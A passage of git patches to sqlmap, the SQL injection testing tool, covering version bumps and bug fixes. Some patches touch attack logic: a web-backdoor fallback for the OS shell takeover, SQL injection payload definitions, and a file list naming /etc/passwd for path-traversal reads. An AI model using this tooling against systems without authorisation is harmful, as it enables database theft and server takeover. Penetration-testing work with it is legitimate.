b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.12" +VERSION = "1.3.10.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4b5927b7349d6a84b8fcdad69833b5c15cf0fb3f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 14 Oct 2019 09:54:00 +0200 Subject: [PATCH 613/800] Fixes #3967 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/hash.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 640b04cc439..6bc0a2300d0 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5012,7 +5012,7 @@ def _parseBurpLog(content): port, request = match.groups() try: request = decodeBase64(request, binary=False) - except binascii.Error: + except (binascii.Error, TypeError): continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: diff --git a/lib/core/settings.py b/lib/core/settings.py index 56fcd0a8816..71cce748808 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.13" +VERSION = "1.3.10.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 6df8686280d..bdec4e797df 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -123,7 +123,7 @@ def _(regex): try: decodeBase64(value) - except binascii.Error: + except (binascii.Error, TypeError): base64 = False break diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 72f2f2e4964..6d491b9f341 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1000,7 +1000,7 @@ def dictionaryAttack(attack_dict): resumes.append((user, hash_, resumed)) keys.add(hash_) - except (binascii.Error, IndexError): + except (binascii.Error, TypeError, IndexError): pass if not attack_info: From 19925b806b370e103fce9bd4d529abee3ed2efa1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 14 Oct 2019 10:42:10 +0200 Subject: [PATCH 614/800] Update regarding #3968 --- lib/controller/checks.py | 10 ++++++++++ lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index be0fc9f01cf..b920a7c94db 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -73,6 +73,7 @@ from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_VALUE +from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX @@ -1559,6 +1560,15 @@ def checkConnection(suppressOutput=False): kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalCode = threadData.lastCode + if conf.cj and not conf.cookie and not conf.dropSetCookie: + candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) + + message = "you have not declared cookie(s), while " + message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) + message += "Do you want to use those [Y/n] " + if readInput(message, default='Y', boolean=True): + conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate)) + return True def checkInternet(): diff --git a/lib/core/settings.py b/lib/core/settings.py index 71cce748808..b4e6bf30b1e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.14" +VERSION = "1.3.10.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1a5ed610cebebffc371e59fb9268b0155659b881 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Oct 2019 01:04:45 +0200 Subject: [PATCH 615/800] Bug fix (backslash escaping of JSON string values) --- lib/core/agent.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index e702bc525b3..f642ea54ccb 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -176,12 +176,16 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): _ = "%s%s" % (origValue, kb.customInjectionMark) + if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: - newValue = '"%s"' % newValue + newValue = '"%s"' % self.addPayloadDelimiters(newValue) elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString: - newValue = "'%s'" % newValue + newValue = "'%s'" % self.addPayloadDelimiters(newValue) + else: + newValue = self.addPayloadDelimiters(newValue) + newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) - retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) + retVal = paramString.replace(_, newValue) retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) From 35893c49b80dc1786f3839c0a9e12fde8e71dd14 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Oct 2019 12:29:39 +0200 Subject: [PATCH 616/800] Minor update of vuln-test --- extra/vulnserver/vulnserver.py | 8 ++++++-- lib/core/settings.py | 2 +- lib/core/testing.py | 1 + 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 1bee82f08e8..accdaaa848f 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -9,6 +9,7 @@ from __future__ import print_function +import json import re import sqlite3 import sys @@ -99,10 +100,13 @@ def do_REQUEST(self): return if hasattr(self, "data"): - params.update(parse_qs(self.data)) + if self.data.startswith('{') and self.data.endswith('}'): + params.update(json.loads(self.data)) + else: + params.update(parse_qs(self.data)) for key in params: - if params[key]: + if params[key] and isinstance(params[key], (tuple, list)): params[key] = params[key][-1] self.url, self.params = path, params diff --git a/lib/core/settings.py b/lib/core/settings.py index b4e6bf30b1e..5b60c8dc1f4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.15" +VERSION = "1.3.10.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index c63f82c5a20..0f3a6c88e60 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -75,6 +75,7 @@ def _thread(): for options, checks in ( ("--flush-session", ("CloudFlare",)), + ("--flush-session --data='{\"id\": 1}' --banner", ("Payload: {\"id\"", "banner: '3")), ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), From 6bde50dbdc2f2f0f04efdae9ca1b507fbaea69c3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Oct 2019 16:08:58 +0200 Subject: [PATCH 617/800] Patch for #3964 --- lib/core/option.py | 14 +++++++++----- lib/core/settings.py | 5 ++++- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 51d36ded71d..ce9e97479d3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -109,6 +109,7 @@ from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORE_CODE_WILDCARD from lib.core.settings import IS_WIN from lib.core.settings import KB_CHARS_BOUNDARY_CHAR from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET @@ -1569,11 +1570,14 @@ def _cleanupOptions(): conf.testParameter = [] if conf.ignoreCode: - try: - conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] - except ValueError: - errMsg = "options '--ignore-code' should contain a list of integer values" - raise SqlmapSyntaxException(errMsg) + if conf.ignoreCode == IGNORE_CODE_WILDCARD: + conf.ignoreCode = xrange(0, 1000) + else: + try: + conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] + except ValueError: + errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD + raise SqlmapSyntaxException(errMsg) else: conf.ignoreCode = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 5b60c8dc1f4..9a9b5d434f3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.16" +VERSION = "1.3.10.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -413,6 +413,9 @@ # Character used for marking injectable position inside provided data CUSTOM_INJECTION_MARK_CHAR = '*' +# Wildcard value that can be used in option --ignore-code +IGNORE_CODE_WILDCARD = '*' + # Other way to declare injection position INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%" From 8340f8bcadfeadd5e9ddd02866306fbc35615f10 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2019 10:53:12 +0200 Subject: [PATCH 618/800] Minor update --- data/xml/errors.xml | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index b8c8165dca1..4c330de2126 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -7,13 +7,14 @@ - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 9a9b5d434f3..7904abdb050 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.17" +VERSION = "1.3.10.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d02ee47157ed228c11563b009c907e60f1033975 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2019 11:53:53 +0200 Subject: [PATCH 619/800] Minor cosmetics --- lib/core/settings.py | 2 +- lib/utils/brute.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7904abdb050..e70ce9a368f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.18" +VERSION = "1.3.10.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index c3a34481ae9..7a004d2614a 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -163,7 +163,7 @@ def tableExistsThread(): if not threadData.shared.files: warnMsg = "no table(s) found" if conf.db: - warnMsg += "for database '%s'" % conf.db + warnMsg += " for database '%s'" % conf.db logger.warn(warnMsg) else: for item in threadData.shared.files: From 42480ba90154f8145fd8903184938995a2210da2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2019 13:39:47 +0200 Subject: [PATCH 620/800] Update regarding #3928 --- data/txt/common-files.txt | 9 +++++++++ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 05e6ce265b6..ad32405e31e 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -203,6 +203,15 @@ /var/www/nginx-default/index.php /srv/www/index.php +# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 + +/srv/www/htdocs/index.php +/usr/local/apache2/htdocs/index.php +/usr/local/www/data/index.php +/var/apache2/htdocs/index.php +/var/www/htdocs/index.php +/var/www/html/index.php + # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux /etc/passwd diff --git a/lib/core/settings.py b/lib/core/settings.py index e70ce9a368f..ea87b96c3f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.19" +VERSION = "1.3.10.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1c3982c32d294c95dca5ea4c2773101fca02754b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2019 13:56:41 +0200 Subject: [PATCH 621/800] Update (inlining with other payload styles) --- data/xml/payloads/stacked_queries.xml | 16 ++++++++-------- data/xml/payloads/time_blind.xml | 24 ++++++++++++------------ lib/core/settings.py | 2 +- 3 files changed, 21 insertions(+), 21 deletions(-) diff --git a/data/xml/payloads/stacked_queries.xml b/data/xml/payloads/stacked_queries.xml index 88729619b4d..4b70384beb9 100644 --- a/data/xml/payloads/stacked_queries.xml +++ b/data/xml/payloads/stacked_queries.xml @@ -3,7 +3,7 @@ - MySQL > 5.0.11 stacked queries (comment) + MySQL >= 5.0.12 stacked queries (comment) 4 2 1 @@ -19,12 +19,12 @@

MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries + MySQL >= 5.0.12 stacked queries 4 3 1 @@ -39,12 +39,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries (query SLEEP - comment) + MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 1 @@ -60,12 +60,12 @@
MySQL - > 5.0.11 + >= 5.0.12
- MySQL > 5.0.11 stacked queries (query SLEEP) + MySQL >= 5.0.12 stacked queries (query SLEEP) 4 4 1 @@ -80,7 +80,7 @@
MySQL - > 5.0.11 + >= 5.0.12
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dc710757ef2..d9cdb6c8cf3 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -169,7 +169,7 @@ - MySQL <= 5.0.11 AND time-based blind (heavy query) + MySQL < 5.0.12 AND time-based blind (heavy query) 5 2 2 @@ -184,12 +184,12 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query) + MySQL < 5.0.12 OR time-based blind (heavy query) 5 2 3 @@ -204,12 +204,12 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL <= 5.0.11 AND time-based blind (heavy query - comment) + MySQL < 5.0.12 AND time-based blind (heavy query - comment) 5 5 2 @@ -225,12 +225,12 @@
MySQL - <= 5.0.11 + < 5.0.12
- MySQL <= 5.0.11 OR time-based blind (heavy query - comment) + MySQL < 5.0.12 OR time-based blind (heavy query - comment) 5 5 3 @@ -246,7 +246,7 @@
MySQL - <= 5.0.11 + < 5.0.12
@@ -1506,7 +1506,7 @@ - MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries) + MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries) 5 4 2 @@ -1521,7 +1521,7 @@
MySQL - <= 5.0.11 + < 5.0.12
@@ -1861,7 +1861,7 @@ - MySQL <= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query) + MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 @@ -1876,7 +1876,7 @@
MySQL - <= 5.0.11 + < 5.0.12
diff --git a/lib/core/settings.py b/lib/core/settings.py index ea87b96c3f0..bcdee8144bd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.20" +VERSION = "1.3.10.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9a624605b6e67058c1ce0bab4575dfc7a0404943 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Oct 2019 15:16:21 +0200 Subject: [PATCH 622/800] Falling back to web backdoor if UDF fails --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/takeover/abstraction.py | 7 ++++--- plugins/generic/misc.py | 2 +- plugins/generic/takeover.py | 16 +++++++++++++++- 5 files changed, 22 insertions(+), 6 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index ce9e97479d3..88b344226fa 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2012,6 +2012,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.threadException = False kb.tableExistsChoice = None kb.uChar = NULL + kb.udfFail = False kb.unionDuplicates = False kb.wizardMode = False kb.xpCmdshellAvailable = False diff --git a/lib/core/settings.py b/lib/core/settings.py index bcdee8144bd..dfafb47c7da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.21" +VERSION = "1.3.10.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index d4c2b4c5157..accc9f6a2fd 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -16,6 +16,7 @@ from lib.core.common import readInput from lib.core.convert import getUnicode from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS @@ -48,7 +49,7 @@ def execCmd(self, cmd, silent=False): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): self.copyExecCmd(cmd) - elif self.webBackdoorUrl and not isStackingAvailable(): + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -67,7 +68,7 @@ def evalCmd(self, cmd, first=None, last=None): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): retVal = self.copyExecCmd(cmd) - elif self.webBackdoorUrl and not isStackingAvailable(): + elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): retVal = self.webBackdoorRunCmd(cmd) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -104,7 +105,7 @@ def runCmd(self, cmd): self.execCmd(cmd) def shell(self): - if self.webBackdoorUrl and not isStackingAvailable(): + if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail): infoMsg = "calling OS shell. To quit type " infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index 2659765ed3c..3f17933174d 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -137,7 +137,7 @@ def cleanup(self, onlyFileTbl=False, udfDict=None, web=False): self.delRemoteFile(self.webStagerFilePath) self.delRemoteFile(self.webBackdoorFilePath) - if not isStackingAvailable() and not conf.direct: + if (not isStackingAvailable() or kb.udfFail) and not conf.direct: return if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index d3c32cbd41a..42033b2c2de 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -15,6 +15,7 @@ from lib.core.common import readInput from lib.core.common import runningAsAdmin from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS @@ -79,7 +80,20 @@ def osShell(self): raise SqlmapNotVulnerableException(errMsg) self.getRemoteTempPath() - self.initEnv(web=web) + + try: + self.initEnv(web=web) + except SqlmapFilePathException: + if not web: + infoMsg = "falling back to web backdoor method..." + logger.info(infoMsg) + + web = True + kb.udfFail = True + + self.initEnv(web=web) + else: + raise if not web or (web and self.webBackdoorUrl is not None): self.shell() From 849250991968f7afa72a7a3d86c9e977e1cbfde6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Oct 2019 10:11:38 +0200 Subject: [PATCH 623/800] Minor update related to the #3976 --- lib/controller/checks.py | 1 + lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index b920a7c94db..8e915989fda 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1567,6 +1567,7 @@ def checkConnection(suppressOutput=False): message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate) message += "Do you want to use those [Y/n] " if readInput(message, default='Y', boolean=True): + kb.mergeCookies = True conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate)) return True diff --git a/lib/core/settings.py b/lib/core/settings.py index dfafb47c7da..494d6d9ee81 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.22" +VERSION = "1.3.10.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1d1da45782595ff5379116164646608c69bba182 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Oct 2019 14:39:53 +0200 Subject: [PATCH 624/800] Fixes #3978 --- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 4988f103ee1..3f7843a60fd 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -197,7 +197,7 @@ def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = userSettings[1] userSettings = userSettings[0] - users = list(userSettings.keys()) + users = [_ for _ in userSettings.keys() if _ is not None] users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _) if conf.api: diff --git a/lib/core/settings.py b/lib/core/settings.py index 494d6d9ee81..91287d2c581 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.23" +VERSION = "1.3.10.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From fd8028bb18822eb2afec3c25502002058741c2d3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 22 Oct 2019 14:43:29 +0200 Subject: [PATCH 625/800] Fixes #3977 --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6bc0a2300d0..2c3812bb081 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3194,7 +3194,10 @@ def isDBMSVersionAtLeast(minimum): parts[1] = filterStringValue(parts[1], '[0-9]') version = '.'.join(parts) - version = float(filterStringValue(version, '[0-9.]')) + correction + try: + version = float(filterStringValue(version, '[0-9.]')) + correction + except ValueError: + return None if isinstance(minimum, six.string_types): if '.' in minimum: diff --git a/lib/core/settings.py b/lib/core/settings.py index 91287d2c581..2092d4e8957 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.24" +VERSION = "1.3.10.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ab2cae3957fb6491d3135c43aa3f7d09e67c237d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 23 Oct 2019 14:41:14 +0200 Subject: [PATCH 626/800] Implements #3971 --- lib/core/option.py | 7 +++++++ lib/core/optiondict.py | 3 ++- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ sqlmap.conf | 8 ++++++-- 5 files changed, 19 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 88b344226fa..c9a12de980d 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2211,6 +2211,13 @@ def _mergeOptions(inputOptions, overrideOptions): if hasattr(conf, key) and conf[key] is None: conf[key] = value + if conf.unstable: + if key in ("timeSec", "retries", "timeout"): + conf[key] *= 2 + + if conf.unstable: + conf.forcePartial = True + lut = {} for group in optDict.keys(): lut.update((_.upper(), _) for _ in optDict[group]) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 26f6576d29b..62a72d6a40b 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -239,8 +239,9 @@ "offline": "boolean", "purge": "boolean", "tmpDir": "string", - "wizard": "boolean", + "unstable": "boolean", "updateAll": "boolean", + "wizard": "boolean", "verbose": "integer", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 2092d4e8957..c3c7d504cb2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.10.25" +VERSION = "1.3.10.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 72d204cb229..fbd3727a0a3 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -734,6 +734,9 @@ def cmdLineParser(argv=None): miscellaneous.add_argument("--tmp-dir", 